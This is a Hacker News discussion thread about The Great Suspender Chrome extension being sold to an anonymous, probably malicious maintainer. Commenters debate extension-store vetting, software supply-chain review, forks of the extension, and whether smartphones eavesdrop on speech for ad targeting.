[HN Gopher] The Great Suspender: New maintainer is probably mali...
       ___________________________________________________________________
        
       The Great Suspender: New maintainer is probably malicious
        
       Author : AdamGibbins
       Score  : 306 points
       Date   : 2021-01-03 14:41 UTC (8 hours ago)
        
 (HTM) web link (github.com)
 (TXT) w3m dump (github.com)
        
       | EGreg wrote:
       | In general, there is a huge problem with how we distribute
       | software, and package managers are even worse.
       | 
       | We basically only look at the top level of things, when instead,
       | every branch in the tree should have a bunch of security people
       | watching it, like editors watch every change to a Wikipedia
       | article, before it goes out.
       | 
       | Corporations using automation and technology have hijacked our
       | "Free Speech" ideals, and caused us to think that it's a good
       | thing when one party can push out a tweet to 5 million people at
       | once, or a single corporation can buy up local stations and
       | enforce talking points on journalism. That's not freedom of
       | speech at all. That's just a preference for maintaining
       | entrenched power because someone "amassed it voluntarily"... and
       | this mentality extends recursively all the way down ... Take for
       | example the first Twitter mega-celebrity. Ashton Kutcher himself
       | amassed it voluntarily because he was chosen by TV and movie
       | executives once upon a time, to be used in mass media, and their
       | platforms were "voluntarily" built in the past, from the
       | invention of the TV, and people subscribed "voluntarily", and
       | Twitter was built "voluntarily" and funded by VCs voluntarily,
       | and so on. And the end result is, some power (in this case,
       | audience) is concentrated in the hands of a few people, who
       | disproportionately act as kingmakers for various other people and
       | ideas. That's also how we get "too big to fail" issues in
       | telecoms, banks, and so on.
       | 
       | In science, things work differently. Arxiv.org exists but peer
       | review is a big thing. Wikipedia has multiple distrusting parties
       | for each large article. So does Bitcoin (presumably, anyway).
       | 
       | In general, the more value (votes, data, code, money) accumulates
       | in one place, the more "checks and balances" you should have for
       | each release. You can't just have someone push out something in
       | the middle of the night and have everyone pull it into their
       | codebase via npm and then "launder" the (malicious) bugs through
       | more and more releases. You need it to go through "peer review",
       | and not on the top level of an entire tree, but rather, for each
       | subtree there need to be people who understand what's going on.
       | 
       | THAT is a society that's far more secure, that can't be easily
       | backdoored by some hackers paid by a state to find
       | vulnerabilities. And the capitalistic system we have today is
       | pushing the other way (closed source, centralized databases,
       | extract rents reward early investors through information
       | asymmetry, etc.) and the result is stuff like SolarWinds, Equifax
       | hack, Yahoo hack, etc. etc. etc. We're finally starting to put a
       | tax on storing data without an explicit purpose, hopefully that
       | will make it expensive enough that people will be custodying
       | their own data at least. But when it comes to "broadcasting"
       | things, I'd rather have less "real time pushes" and instead slow
       | things down until we can "run byzantine consensus" gradually
       | releasing to the public via concentric circles.
       | 
       | The full solution would involve Merkle trees where some security
       | organizations and researchers / peers (anonymous or not, but with
       | reputations) sign off on each changeset. Instead of just Apple or
       | something. Git + Verified Claims can already support most of the
       | infrastructure, btw.
        
         | gruez wrote:
         | >The full solution would involve Merkle trees where some
         | security organizations and researchers / peers (anonymous or
         | not, but with reputations) sign off on each changeset. Instead
         | of just Apple or something. Git + Verified Claims can already
         | support most of the infrastructure, btw.
         | 
         | This barely works for open source software (how many open
         | source projects have people auditing every commit?). How will
         | it possibly work for closed source software?
        
           | EGreg wrote:
           | As a left-libertarian leaning person, I believe that "the
           | long arc of society bends towards collaboration rather than
           | competition."
           | 
           | I'm talking about:                 Wikipedia beating
           | Britannica and Encarta       The Web beating AOL / MSN /
           | Compuserve / Prodigy       Apache and NGinX beating IIS
           | Linux beating Windows for tons of apps & archs       Science
           | beating Alchemy
           | 
           | I mean, I believe it so strongly, I put years and reinvested
           | tons of profits of my own company into an open source
           | platform that would be an alternative to Facebook / LinkedIn
           | / Google etc. (https://github.com/Qbix/Platform). And then I
           | started an experimental project to "disrupt" our own company
           | and decentralize the Web even further
           | (https://intercoin.org). We still have a long way to go, but
           | I think just like the Web unleashed trillions in value that
           | could never be built on top of AOL, we will see the same with
           | Web 2.0 (FAMGA) etc.
           | 
           | But it will take time. Open source collaboration is the
           | tortoise, closed source competition is the hare.
        
             | gruez wrote:
             | This might address the "closed source" problem (although
             | personally I'm skeptical it would work), but doesn't
             | address the problem of how to get people to perform
             | reviews.
        
               | EGreg wrote:
               | True. That requires different incentives. But we have to
               | move from a mindset of competition to collaboration
               | first. Everyone building on the same platform and merging
               | source code back unless there is a really good reason to
               | fork and compete.
        
       | timhigins wrote:
       | I'd just like to mention that if the community was determined
       | enough we'd
       | 
       | 1. Demand removal of analytics software 2. If no action, fork and
       | re-publish.
       | 
       | Obviously folks who aren't technical/didn't see these threads
       | wouldn't get the benefit of an update.
       | 
       | This is something where an explicitly pro-opensource and anti-
       | tracking (or at least minimal tracking) policy by the browser
       | extension stores would be valuable. The store itself could
       | recommend the no-tracking community version instead. Of course
       | this would have to happen on an individual basis and be carefully
       | managed as so not to be abused.
        
         | vadansky wrote:
         | They already did:
         | 
         | https://github.com/aciidic/thegreatsuspender-notrack
         | 
         | Plus you can download the old 7.16 version which works fine and
         | doesn't have the suspicious changes
        
       | ce4 wrote:
       | Reminds me of the uBlock vs uBlock origin story some years ago:
       | 
       | https://news.ycombinator.com/item?id=9437182
       | 
       | https://news.ycombinator.com/item?id=9718625
        
         | antihero wrote:
         | Also Nano Blocker. I had to spend HOURS unliking bullshit posts
         | on my Instagram because the idiot maintainer sold it to some
         | quite obviously sleazy dudes who harvested our cookies to use
         | as an Instagram bot.
        
           | ce4 wrote:
           | What a low profile use for such a hack... And the idiot
           | probably got away with 99% of those likes.
        
       | protoman3000 wrote:
       | I recently tried to find a health related tracking app on the
       | Apple AppStore in order to conveniently track and manage my
       | health but I noticed that I cannot trust any offered app anymore,
       | regardless of paid or free.
       | 
       | This can come either because the proliferation of *analytics,
       | broad openness of supposedly sandboxed systems, needless
       | availability of fingerprinting methods and lack of proof of
       | privacy commitment by the vendors (and any published privacy
       | policy is not enough), or because I just became too paranoid (or
       | both?).
       | 
       | Examples like these validate the suspicion that you can't trust
       | any app or plug-in anymore, with big vendors being in a inbetween
       | position of "too big to lose trust".
       | 
       | I wonder when we will reach the point where there is no trusted
       | web browser anymore, no trusted computer appliance. When will it
       | be that you cannot even say a word to a person in-person anymore
       | because it lands in a weakly secured cloud by the microphone
       | inside their smartwatch that runs a weather app that is run by
       | crooks. Or is that point reached already?
        
         | Nextgrid wrote:
         | I've reached a stage where my first action after installing an
         | app is to do a packet capture and look at what the app talks
         | to. Sadly in the majority of cases the app gets promptly
         | uninstalled because it ends up talking to Facebook or
         | similarly-malicious endpoints for no good reason (even paid
         | healthcare or accounting apps do this).
         | 
         | Doing this enough times I can mostly predict the result by just
         | looking at the app and who's behind it so I no longer bother
         | with apps and stick to the built-ins whenever possible.
        
           | strogonoff wrote:
           | > my first action after installing an app is to do a packet
           | capture and look at what the app talks to
           | 
           | Can't it talk to its own servers that then talk to Facebook,
           | in which case packet capture is of not much use?
        
             | Nextgrid wrote:
             | I agree, it's not a foolproof solution, but the
             | presence/absence of various trackers in their app and
             | website is usually a good predictor.
             | 
             | Furthermore in the name of pragmatism I am not opposed to
             | _all_ ad targeting; some of it is indeed outside of my
             | control. However, there 's a difference between sending a
             | name/email address combo _once_ during signup and having
             | the advertising SDK ping the advertiser every _single time
             | the app is interacted with_ (which is what the Facebook SDK
             | does for example); the former only leaks  "I use X service"
             | once to the advertiser, the latter leaks a detailed trail
             | of my usage patterns & IP addresses (can be used to
             | correlate where I've been and who I'm hanging out with if
             | their own phones are connected to the same Wi-Fi network
             | and thus share the same IP).
        
         | strogonoff wrote:
         | > When will it be that you cannot even say a word to a person
         | in-person anymore because it lands in a weakly secured cloud by
         | the microphone inside their smartwatch that runs a weather app
         | that is run by crooks.
         | 
         | I believe it can already be the case with Google's (and
         | possibly Facebook's) apps on Android--at least in case of
         | Google I witnessed real-life tests showing how saying something
         | in presence of the phone causes related ads and content to be
         | shown in feeds--but it's scarier with less scrupulous app
         | maintainers.
         | 
         | Disclaimer: I am not claiming that Android API grants all apps
         | unauthorized access to always-on mic. The device in question
         | was configured to enable continuous listening by the owner. I
         | am not claiming voice recordings are stored or used in
         | nefarious ways.
        
           | jcrawfordor wrote:
           | If this were true, I think a single person, ever, would have
           | been able to furnish evidence of how this actually works.
           | 
           | Since complex voice-recognition (of other than the activation
           | hotword) is done off-device, you will be able to see network
           | traffic as a result of this occurring. That's quite simple to
           | check for.
        
             | strogonoff wrote:
             | > complex voice-recognition (of other than the activation
             | hotword) is done off-device
             | 
             | Wrong. It's been feasible to do on-device for years[0][1].
             | 
             | > That's quite simple to check for.
             | 
             | It's also quite simple to check that it happens, if you
             | have a Google phone. It's been done in front of me last
             | year[2]. It's been demonstrated to happen by other people
             | than me, so you don't have to rely on my word here[3].
             | 
             | > a single person, ever, would have been able to furnish
             | evidence of how this actually works.
             | 
             | I don't think it's easy to show how this works under the
             | hood, since speech can be recognized on device and devices
             | communicate with remote services very verbosely over HTTPS
             | (probably with certificates pinned to prevent MITM) making
             | it non-trivial to distinguish that traffic from background
             | network activity. Recognized speech data doesn't have to be
             | communicated in real-time, in fact it would make sense to
             | wait and batch it with other requests for efficiency.
             | 
             | (There's a technical paper[4] that summarizes research in
             | this direction as of 2019, and turns out it's not trivial
             | to definitely prove or disprove based on network activity.)
             | 
             | [0] https://ai.googleblog.com/2019/03/an-all-neural-on-
             | device-sp...
             | 
             | [1] https://medium.com/better-programming/ios-speech-
             | recognition...
             | 
             | [2] https://news.ycombinator.com/item?id=25622659
             | 
             | [3] https://www.vice.com/en/article/wjbzzy/your-phone-is-
             | listeni...
             | 
             | [4] https://link.springer.com/chapter/10.1007/978-3-030-224
             | 79-0_...
        
               | jcrawfordor wrote:
               | While the technology is now somewhat accessible (as of
               | 2019 in both cases you mention), this conspiracy theory
               | dates back nearly to the introduction of smartphones. I
               | have heard it as early as 2011.
               | 
               | A number of other anecdotal experiments, such as one
               | performed by myself, failed to show this behavior. A more
               | tightly controlled but still informal experiment by a
               | vaguely related security firm failed to find this
               | behavior[1]. An academic effort by researchers at
               | Northwestern failed to find this behavior [2]. This is by
               | far the most thorough academic effort on the topic I have
               | seen.
               | 
               | Facebook has clearly denied it [3]. Google has not issued
               | such a clear statement but has been reasonably open about
               | changes in their policy on voice data [4]. After
               | considering the issue from several angles, P. J. Vogt
               | concluded that no such thing happens [5]. Even the paper
               | you cite notes the total lack of evidence.
               | 
               | Perhaps most notably, almost all of the popular media
               | reporting that bears headlines saying that your phone
               | _is_ listening to your conversations, actually say no
               | such thing when you read the article. Instead they are
               | talking about analytics on voice assistant activations
               | and, frequently, voice memos in Facebook Messenger.
               | Amusingly I 've run into two cases where popular press
               | had to issue retractions or corrections after they said
               | that smartphones were always-listening.
               | 
               | The only serious sources I have ever seen assert that
               | this _is_ happening are Vice 's Sam Nichols based on Dr.
               | Henway. Henway makes some very specific claims to two
               | different reporters but provides no explanation of how he
               | came to that knowledge. To an almost comical extent,
               | nearly all reporting in favor of this theory (that even
               | claims to have a source) is based around the exact same
               | quote from Henway, who has never published anything
               | formal on the matter or even really elaborated beyond a
               | single paragraph. Nichols only performs a very basic
               | experiment and it is easy to come up with other ways he
               | may have gotten the result he did - in fact, the
               | experiment he performs is nearly identical to the ones
               | performed by others that have failed to show results.
               | 
               | Look, I'm not totally unreceptive to the idea that this
               | is happening, but I don't like people repeating the
               | assertion-as-fact that it is a widespread behavior when
               | major tech companies that have denied it, and no real
               | evidence has ever been amassed to show that it does
               | happen.
               | 
               | Just my opinion, but... well, just all of our opinions.
               | Let's be careful about calling them facts.
               | 
               | [1] https://www.wandera.com/phone-listening/ [2] https://
               | www.ftc.gov/system/files/documents/public_events/141...
               | [3] https://www.forbes.com/sites/amitchowdhry/2017/10/31/
               | faceboo... [4]
               | https://www.theverge.com/2020/8/5/21354805/google-email-
               | audi... [5] https://gimletmedia.com/shows/reply-
               | all/z3hlwr
        
               | 29083011397778 wrote:
               | > A friend and I were sitting at a bar, iPhones in
               | pockets, discussing our recent trips in Japan and how
               | we'd like to go back. The very next day, we both received
               | pop-up ads on Facebook about cheap return flights to
               | Tokyo.
               | 
               | > A private conversation with a friend about how I'd run
               | out of data led to an ad about cheap 20 GB data plans
               | 
               | > Suddenly I was being told [sic] mid-semester courses at
               | various universities
               | 
               | I absolutely belive Facebook can find system information
               | like data caps, or can read notifications (as they
               | explicitly ask for this to auto-fill SMS-based 2FA
               | logins). As far as being in the same location as your
               | buddy you took a trip with, that's a lack of imagination
               | on the advertisers part - you get ads to return to Japan
               | the same way you get ads for the vacuum you _just.
               | bought._ As far as the writer possibly going back to
               | school? I 'd say many writers enjoy writing - so many, in
               | fact, that prices have been depressed for decades. I'd
               | assume many writers have to return to school and change
               | careers.
               | 
               | Is it possible Facebook is listening? I won't dismiss it
               | without at least reading the article. But the linked
               | article reads like the author believes people are unique
               | and, while they are, they're also far more predicatable
               | than we like to pretend.
        
           | mdpye wrote:
           | Citations please. Not because I think you're definitely fear
           | mongering, but because real evidence would be important to
           | see.
        
             | strogonoff wrote:
             | An owner of a Google-branded Android phone demonstrated it
             | to me last year, it worked remarkably fast. IIRC, the
             | example chosen was Google News.
             | 
             | I can't see how this is fear mongering. Device was not
             | acting against owner's will: that person specifically does
             | not tighten relevant privacy settings and enables always-on
             | mic because they see useful content suggestions as a
             | feature.
             | 
             | It is different from my outlook (and I take it yours too),
             | but I think that point of view deserves the right to exist.
             | 
             | The issue is that now when I am talking to someone like
             | that in real life, I know I may be implicitly agreeing that
             | Google would pick up my speech as well. It's a clash
             | similar to one between a person (e.g., my mom) who grants
             | messenger apps full access to their phone's address book
             | for convenience, and their contact (e.g., myself) who does
             | not want their information to be shared with Facebook et
             | al.
             | 
             | Addendum: a cursory search confirms this experience.
             | 
             | -- https://www.vice.com/en/article/wjbzzy/your-phone-is-
             | listeni...
             | 
             | -- https://www.makeuseof.com/tag/your-smartphone-listening-
             | or-c... (2019)
             | 
             | -- https://www.quora.com/Does-Google-listen-to-my-
             | conversations... (the first answer does not mention ads,
             | but others share similar experience to what I saw)
             | 
             | -- Counterpoint:
             | https://www.bbc.co.uk/news/technology-49585682 "phones that
             | secretly listen to us are a myth" (2019). Notably, with all
             | my respect for BBC, this article lacks a lot of context
             | (did they turn off voice activation before testing? what
             | were their privacy settings?), and to test devices
             | listening they played commercials in presence of the phone
             | rather than using voice (I have relatively high confidence
             | that modern devices can easily distinguish between speech
             | nearby and sound from a commercial before recording leaves
             | the phone).
             | 
             | Some sources claim that as of last year Google is changing
             | the way their apps work. Not sure if they stop listening or
             | stop showing relevant content.
             | 
             | (I don't personally own an Android phone, and even if I did
             | I would have turned off virtual assistants & disabled
             | always-on mic just as I do with my iPhone, so I wouldn't be
             | able to present first-hand proof.)
        
               | BoorishBears wrote:
               | This is fear mongering because you literally have no
               | credible proof.
        
               | strogonoff wrote:
               | Feel free to take it or leave it.
        
               | BoorishBears wrote:
               | As you can see I've chose option C: Calling it out as the
               | fear mongering that it is.
               | 
               | Maybe read up on the concept of "extraordinary claims
               | requiring extraordinary evidence"
        
               | chrisrhoden wrote:
               | What's described in the article is hotword-activated? So
               | not at all what GP is supposing. If you say "Hey Google,
               | tell me about toilet paper" and get ads for toilet paper,
               | that's a fairly understandable cause => effect, but there
               | are persistent anecdotes about conversations manifesting
               | in ads where no hotword activation occurs (typically
               | about Facebook.)
               | 
               | Every company vehemently denies this is possible.
        
               | fiddlerwoaroof wrote:
               | I find this hard to believe because I'd think constant
               | voice recognition would either have a noticeable impact
               | on battery life or it'd have a major impact on data
               | usage. Also, on iOS at least, it'd have to be provided by
               | Apple, to be a constant background thing, and then Apple
               | would already be using it for Siri.
        
               | strogonoff wrote:
               | If always-on mic for virtual assistant activation is
               | enabled, it does impact battery life.
               | 
               | Regarding iOS, I hadn't observed ads obviously based on
               | what I spoke about in presence of my iPhone, but then I
               | don't use voice-activated Siri and generally tighten up
               | privacy settings.
        
               | fiddlerwoaroof wrote:
               | I've never noticed this myself: I've always assumed that
               | what is actually going on is that people's phone usage is
               | more correlated with what they're thinking/talking about
               | than they realize and ad companies have gotten pretty
               | good at uncovering these latent connections (e.g. the
               | story about Target deducing someone was pregnant from
               | seemingly unrelated shopping patterns).
        
               | strogonoff wrote:
               | I remember that story. However, what I observed with
               | Android's Google (or is it called Google News?) app last
               | year was a tight feedback loop: after talking a little
               | about %SUBJECT% near the phone, and refreshing the feed
               | within the next minute or two, a relevant article from
               | past few days showed up.
               | 
               | (Similar to Vice's article I linked, but faster.)
               | 
               | Again, the owner of the device saw that as a convenience
               | feature and consciously did not set the phone up to
               | prevent it, which made me feel a little old-fashioned and
               | unnecessarily paranoid.
               | 
               | Also, unlike Vice's article, in the scenario I have
               | witnessed the recording did not _necessarily_ have to
               | leave the phone: the news app could have kept a large
               | cache of recent articles and locally pick the ones
               | matching the %SUBJECT% that we spoke about.
               | 
               | I am inclined to believe that Google, given their
               | business model and scale, is unlikely to store voice data
               | insecurely or insufficiently de-anonymized, so I'm
               | primarily worried about third-party apps getting access
               | to always-on microphone without visual feedback.
               | (Hopefully it's not very likely and app stores have tools
               | to detect nefarious uses of relevant APIs at review
               | stage.)
        
               | fiddlerwoaroof wrote:
               | I'd like to see an actual technical write up of this:
               | network logs, tracing of the android device activity etc.
               | My original impression was that the reason why mobile
               | voice assistants have trigger words is that anything more
               | complicated isn't feasible as an always-on feature.
               | (Although, I do remember stories about the Facebook app
               | using the microphone to suggest that you post a status
               | update about the movie or tv show you're watching, so
               | maybe it's more feasible than I imagine).
        
               | BoorishBears wrote:
               | You won't find one because it doesn't exist.
               | 
               | As a person who's made a living the last few years
               | working in the guts of Android on embedded devices, there
               | are so many holes in this way too common myth that phones
               | are listening all the time.
               | 
               | You don't even need to dive into the technical aspect of
               | it, what on earth is the risk reward here?!
               | 
               | Risk: Forever break the trust people have in your
               | devices, this isn't some grey area intrusive tracking
               | that would just get swept under the rug...
               | 
               | Reward: Get noisy info about people's interests when you
               | literally own the device that contains more information
               | about than their own short term memory does!
               | 
               | It's nonsensical, and there's no way that Google could do
               | this that wouldn't already have been caught.
               | 
               | I mean is the theory that all Google devices do it and
               | somehow no OEM has realized their microphone is getting
               | accessed? (Because even with the lowest level access on
               | the device, modern microphones are not so
               | unsophisticated, there's no universal way to access it in
               | a way a manufacturer wouldn't catch onto sooner or later
               | 
               | Or Google did this but only on phones they own or
               | something?
               | 
               | It's nonsense.
        
               | strogonoff wrote:
               | > You won't find one because it doesn't exist.
               | 
               | There is no proof it happens, and no proof it doesn't
               | happen, because it's non-trivial to detect based on
               | network activity. The only evidence is observing content
               | relevant to what was being spoken about being suggested
               | across apps.
               | 
               | > Risk: Forever break the trust people have in your
               | devices, this isn't some grey area intrusive tracking
               | that would just get swept under the rug...
               | 
               | Reward: get people to love your services for relevant
               | suggestions. Believe it or not, there are people outside
               | the extra privacy-conscious bubble who do not at all mind
               | their devices listening.
               | 
               | > Or Google did this but only on phones they own or
               | something?
               | 
               | I am pretty sure this depends on software. I have seen
               | this demonstrated on a Google-branded phone with a Google
               | app.
        
               | BoorishBears wrote:
               | > Reward: get people to love your services for relevant
               | suggestions. Believe it or not, there are people outside
               | the extra privacy-conscious bubble who do not at all mind
               | their devices listening.
               | 
               | Like I already pointed out this is nonsense.
               | 
               | Always on listening even with perfect parsing would
               | INCREDIBLY noisy. There are a million and one reasons for
               | a term to come up in speech. The simplest conversation
               | could surface hundreds of targeting terms.
               | 
               | Meanwhile they literally own the device and the services
               | most people use. They have your search, they have your
               | email, they have social graphs. They can literally make
               | inferences before you even think to talk about them with
               | other people! (and we've seen this happen before with
               | things like disease and pregnancy reveals)
               | 
               |  _We 're at the point where most people's cell phones
               | hold more personal data than they could even recall on
               | demand._
               | 
               | So why on earth would they go and muddy all that easily
               | weighted data with noisy data like everything you say,
               | literally every other form of interaction is already
               | giving them better more concise information about you...
               | 
               | -
               | 
               | > There is no proof it happens, and no proof it doesn't
               | happen, because it's non-trivial to detect based on
               | network activity. The only evidence is observing content
               | relevant to what was being spoken about being suggested
               | across apps.
               | 
               | I can't believe people are entertaining this kind of
               | stuff on HN.
               | 
               | You make an unreasonable claim... then act like _because_
               | you yourself can 't prove your unreasonable claim it
               | should be entertained? What?
               | 
               | That's not how that works. You have no actual proof for
               | your unreasonable claim... then that's it. It ends there.
               | _The burden doesn 't suddenly fall on others to prove the
               | contrary!_
               | 
               | Come back with even a modicum of proof. Literally any
               | real proof other than anecdotes where the ad companies
               | who literally have almost all the data in your life
               | anyways are able to come up with topics you're interested
               | in... and maybe someone will entertain this.
               | 
               | And no, talking about something and getting an ad for it
               | after is not proof any more than having a leaf fall on
               | your head while you stand under in a mid-autumn forest
               | right after you whispered "gravity" is proof that the
               | forest is listening to your words.
        
               | strogonoff wrote:
               | > I'd like to see an actual technical write up of this:
               | network logs, tracing of the android device activity etc.
               | 
               | FWIW there's a technical paper[0] that summarizes
               | existing studies as of 2019, and it's been neither
               | definitively proven nor disproven that it happens. Turns
               | out it's not at all that trivial to detect.
               | 
               | From the paper:
               | 
               | > Perhaps most importantly, Pan et al. were not able to
               | rule out the scenario of apps transforming audio
               | recordings into less detectable text transcripts or audio
               | fingerprints before sending the information out. This
               | would be a very realistic attack scenario. In fact,
               | various popular apps are known to compress recorded audio
               | in such a way [10, 33]. While all the choices that Pan et
               | al. made regarding their experimental setup and
               | methodology are completely understandable and were
               | communicated transparently, the limitations do limit the
               | significance of their findings. All in all, their
               | approach would only uncover highly unsophisticated
               | eavesdropping attempts. ...
               | 
               | > Therefore, the fact that no evidence for large-scale
               | mobile eavesdropping has been found so far should not be
               | interpreted as an all-clear. It could only mean that it
               | is difficult - under current circumstances perhaps even
               | impossible - to detect such attacks effectively.
               | 
               | (Apparently, noticing relevant content being obviously
               | suggested is the only way of detecting it at this time,
               | and of course it comes with its own caveats.)
               | 
               | [0] https://link.springer.com/chapter/10.1007/978-3-030-2
               | 2479-0_...
        
               | fiddlerwoaroof wrote:
               | Well, I'm fairly confident that there'd be a lot of
               | online noise about the iPhone's orange dot being on all
               | the time, the way there was about Clipboard
               | notifications.
        
               | strogonoff wrote:
               | I wonder if there is an equivalent of the orange dot on
               | Android.
               | 
               | For sure, it's an arms race between ecosystem's root
               | vendor and app developers, but the possibility of vendor
               | itself using some privileged APIs that do not provide
               | visual feedback is also a concern.
        
               | rightbyte wrote:
               | To hear "Ok Google" it need to record everything and
               | process everything. Adding "toilett paper" as a
               | processing keyword would not be noticable on battery
               | life.
        
               | fiddlerwoaroof wrote:
               | Sure, but for the sort of thing being suggested, you'd
               | need to go quite a bit beyond one or two extra keywords.
        
               | rightbyte wrote:
               | 100 keywords then? There doesn't have to be that many.
        
               | reaperducer wrote:
               | _Every company vehemently denies this is possible._
               | 
               | Until they get caught. They they issue a wishy-washing
               | non-apology and put out a press release stating "We can
               | do better."
               | 
               | We've been to this rodeo before.
        
               | strogonoff wrote:
               | Which one? Vice's article and some answers on Quora imply
               | continuous listening without engaging a virtual
               | assistant.
               | 
               | In case of my friend showing me this, this happened a few
               | months ago and I can't remember exactly how the
               | demonstration went. I'm inclined to believe there was no
               | hotword activation, as I remember myself being quite
               | startled (at that point I disbelieved that a phone can be
               | listening and suggesting relevant content right away),
               | and as you noted with hotword activation it would have
               | been markedly less surprising.
        
               | jrmg wrote:
               | This is nonsense.
               | 
               | If listening constantly was widespread it would have a
               | dramatic effect on power consumption - and so battery
               | life - and be noticed.
        
               | strogonoff wrote:
               | Isn't this pretty much how voice-activated virtual
               | assistants work? Microphones have to be listening in
               | order for devices to respond to "Hey Siri" and "OK
               | Google", and it does impact battery life.
        
               | ufmace wrote:
               | I think they have some kind of special optimized chip
               | that can listen for only a specific phrase at very low
               | power and wake the rest of the device when it hears it.
               | It seems super unlikely that they can listen constantly
               | to anything anyone says, pick out things that can be
               | advertised for, and show ads for those things the next
               | time the user browses without eating lots of power and
               | data.
        
               | strogonoff wrote:
               | I think the combination of ever-growing lithium-ion
               | battery resource, hardware energy efficiency and
               | performance with 7 and 5nm processes, and improving on-
               | device speech recognition makes it possible with little
               | to no perceived battery life degradation.
        
               | stretchcat wrote:
               | The wake phrase is different in different languages, yet
               | they sell the same hardware to everybody. Therefore,
               | obviously, the wake phrase is reprogrammable. It isn't
               | baked into the silicon.
        
       | supernova87a wrote:
       | Isn't this a huge vulnerability that rises to the level of
       | "Chrome team should police this"?
       | 
       | I mean, just thinking potential threats (which now I'm removing
       | the extension because of them):
       | 
       | -- corporate web pages potentially sniffable if installed on work
       | computer
       | 
       | -- personal passwords, password manager traffic
       | 
       | The potentially malicious actor is able to just scoop up any
       | domain's encrypted traffic, isn't it? Or is there any practical
       | assurance that they're only gathering domain names, high level
       | traffic stats, etc?
        
         | tonymet wrote:
         | In a word, yes. When you install and the extension says "has
         | access to all the data on all web sites you visit" - this means
         | all of your passwords, cookies can be recorded and sent to any
         | other domain.
        
         | derwiki wrote:
         | At my company, our Macs are all managed with policies and we
         | have a strict subset of Chrome extensions allowed for install.
         | All of which have been vetted by our security team. Most*
         | allowed are owned by large companies. As my company is not
         | FAANG I would imagine this is common at many companies.
        
           | JimDabell wrote:
           | > we have a strict subset of Chrome extensions allowed for
           | install. All of which have been vetted by our security team.
           | 
           | How do you handle a situation like this, where an extension
           | was previously trusted (and would therefore have passed your
           | vetting procedure), then acquired by somebody else who is
           | apparently malicious? Do you review every new version?
        
       | gcatalfamo wrote:
       | TGS is absolutely critical for my everyday use: can someone
       | confirm if everything is still as in the linked GitHub issue?
        
       | fractionalhare wrote:
       | Seems like another case where a successful Chrome extension was
       | bought out so it could be used for either:
       | 
       | 1. Mining the users' traffic and reselling it as market research,
       | or
       | 
       | 2. Using the users' computers as a pool for a residential proxy
       | service, or
       | 
       | 3. Replacing and inserting ads into users' browsers.
       | 
       | This is unfortunately quite common.
        
         | bhouston wrote:
         | Who are the main organizations doing that? It seems quite
         | organized.
        
       | paulgb wrote:
       | I've been telling everyone who will listen[1][2][3] that as an
       | extension developer, I'd love to be able to guarantee through the
       | Chrome App Store that an extension matches a git commit (or
       | auditable build pipeline artifact) exactly.
       | 
       | It wouldn't fix everything (for example, you could still put a
       | payload in an innocent-looking dependency), but it would at least
       | fix the blatant problem that a maintainer can add code when
       | uploading an extension even if the extension itself is open
       | source and therefore (appears to be) auditable.
       | 
       | [1] https://news.ycombinator.com/item?id=23265699 [2]
       | https://news.ycombinator.com/item?id=16881343 [3]
       | https://news.ycombinator.com/item?id=16317686
        
         | arkadiyt wrote:
         | What's the difference between auditing an extension's code on
         | github vs auditing the code from the Chrome store? It seems
         | like anyone who is willing to do an audit can just as easily
         | download the code directly. Sites like Duo's crxcavator [1]
         | also do exactly that.
         | 
         | [1]: https://crxcavator.io/
        
           | paulgb wrote:
           | If an extension is open source, there are usually already
           | some eyes on the GitHub codebase. If an extension version is
           | pinned to a git hash, all those eyes could potentially spot
           | that something is amiss.
        
           | wegs wrote:
           | (1) Practical. Many people look at git repos. No one audits
           | with crxcavator.
           | 
           | (2) Traceability. git has secure hashes, and things can't
           | change when you're not looking.
           | 
           | My experience is that Google cares deeply about its own
           | security, but not much about the security of its users. This
           | sort of change is reasonable, but completely outside of
           | Google's psyche. Google will
           | 
           | (1) Silently disable Android updates, leaving many running
           | exploitable phones
           | 
           | (2) Hold back security tools for Google Apps without a
           | premium subscription. If your account was compromised, you
           | have no way to do audits to understand what happened without
           | $$$, which leads to many more attackers.
           | 
           | (3) Expires Chromebooks rather quickly. Fortunately, unlike
           | Android, it lets users know, but given the target market,
           | many can't afford to upgrade.
           | 
           | (4) Runs appstores full of malware. When malware is
           | discovered, users have no way to know what it did. They're
           | just notified malware existed.
           | 
           | (5) Doesn't allow any sort of reasonable sandboxing of
           | Android apps. If an app asks for filesystem, maps, and other
           | permissions, you need to agree to run the app. I can't have
           | Android give a dummy location or otherwise
           | 
           | Given that the bulk of Google's business model is built on
           | mass surveillance for advertising, with users-as-statistics,
           | this isn't too surprising, but it's something to be aware of
           | if you use Google.
           | 
           | I firmly believe in civil liability for software companies
           | which ship insecure products. They shouldn't be able to
           | externalize costs like this. Follow good security practices,
           | or your insurance premiums go up.
        
             | arkadiyt wrote:
             | I'm only going to address 1) and 2) since the rest doesn't
             | seem related to Chrome extensions.
             | 
             | 1) Again, anyone who is willing to audit extension code can
             | easily download it.
             | 
             | 2) Extensions are auto-updating, so under the proposed
             | solution the git hash would simply update with the new
             | (say, backdoored) code. The fact that the extension is tied
             | to a git commit hash has done nothing to protect you.
        
       | crucialfelix wrote:
       | Out of an abundance of paranoia, I always open all financial and
       | secretive websites in Incognito mode, and I always disallow all
       | extensions in Incognito mode.
       | 
       | We should really have separate dedicated browsers just for doing
       | transactions.
        
       | Cactus2018 wrote:
       | For anyone not clicking the link, TheMageKing opened this issue
       | on Nov 3, 2020.
        
       | kyriakos wrote:
       | Unrelated to the security implications, Microsoft Edge is doing
       | tab suspension natively in the latest builds.
       | 
       | https://www.windowslatest.com/2020/09/17/microsoft-edge-slee...
        
         | Abishek_Muthian wrote:
         | Vivaldi also has hibernate feature for a while and Firefox too
         | if I'm right.
         | 
         | TGS caused issues resulting in loosing pinned tabs in Brave and
         | Vivaldi and so I had to remove it there; Now I'm glad I had to
         | do it.
        
       | swiley wrote:
       | Curated app stores are great at preventing malware because they
       | prevent you from installing packages from anyone other than the
       | _official_ maintainer, including yourself.
        
       | escape_goat wrote:
       | The culpability of Dean Oemcke in this particular incident should
       | not be understated. Hindsight is hindsight, of course, but the
       | fact that the new owner of the platform distribution rights of
       | this open-source project was (and apparently remains) anonymous
       | seems like it ought to have been a huge red flag. The fact that
       | these rights were paid for made it obvious that monetization was
       | pending. The lack of transparency made it obvious that the form
       | of that monetization would not be acceptable to the contributing
       | community.
       | 
       | There might be a way of contesting the rights to the project name
       | but that would require legal activism and external funding.
       | Basically the original project is dead insofar as the
       | contributors are not comfortable with supporting a parasitic and
       | probably malicious actor. I guess a fork is inevitable. Meanwhile
       | the parasite will harvest the value of the 'brand', distribution
